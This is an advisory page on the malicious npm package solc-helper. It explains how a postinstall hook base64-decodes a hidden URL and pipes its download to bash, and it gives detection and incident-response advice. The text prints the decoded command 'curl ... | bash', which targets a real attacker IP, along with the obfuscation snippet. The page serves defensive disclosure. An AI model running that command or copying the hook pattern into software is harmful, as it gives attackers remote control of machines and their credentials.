solc-helpernpm
Advisory published Updated
solc-helper is a confirmed malicious npm package (MAL-2026-3715) that opens a backdoor for remote access (malicious versions 1.0.0, 2.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in solc-helper (npm)
What this malware does
package.json's postinstall lifecycle script runs node -e to base64-decode a hidden URL and pipe its contents to bash: curl -s http://8.217.75.147:3000/payload | bash. The URL is obfuscated via Buffer.from('aHR0cDovLzguMjE3Ljc1LjE0NzozMDAwL3BheWxvYWQ=','base64').toString() which decodes to http://8.217.75.147:3000/payload. Every npm install solc-helper triggers this unattended download-and-execute of attacker-controlled shell code from a bare IP over plaintext HTTP, with no integrity check. Multiple independent block signals stack: bare-IP C2, plaintext HTTP, base64-obfuscated URL inside a lifecycle hook, curl | bash pattern, and no legitimate functionality advertised by the package to justify any network activity.
The OpenSSF Package Analysis project identified 'solc-helper' @ 2.0.0 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Search your lockfiles and build artifacts for solc-helper (2 malicious versions).
If you installed it — respond
solc-helper establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If solc-helper was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks solc-helper-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.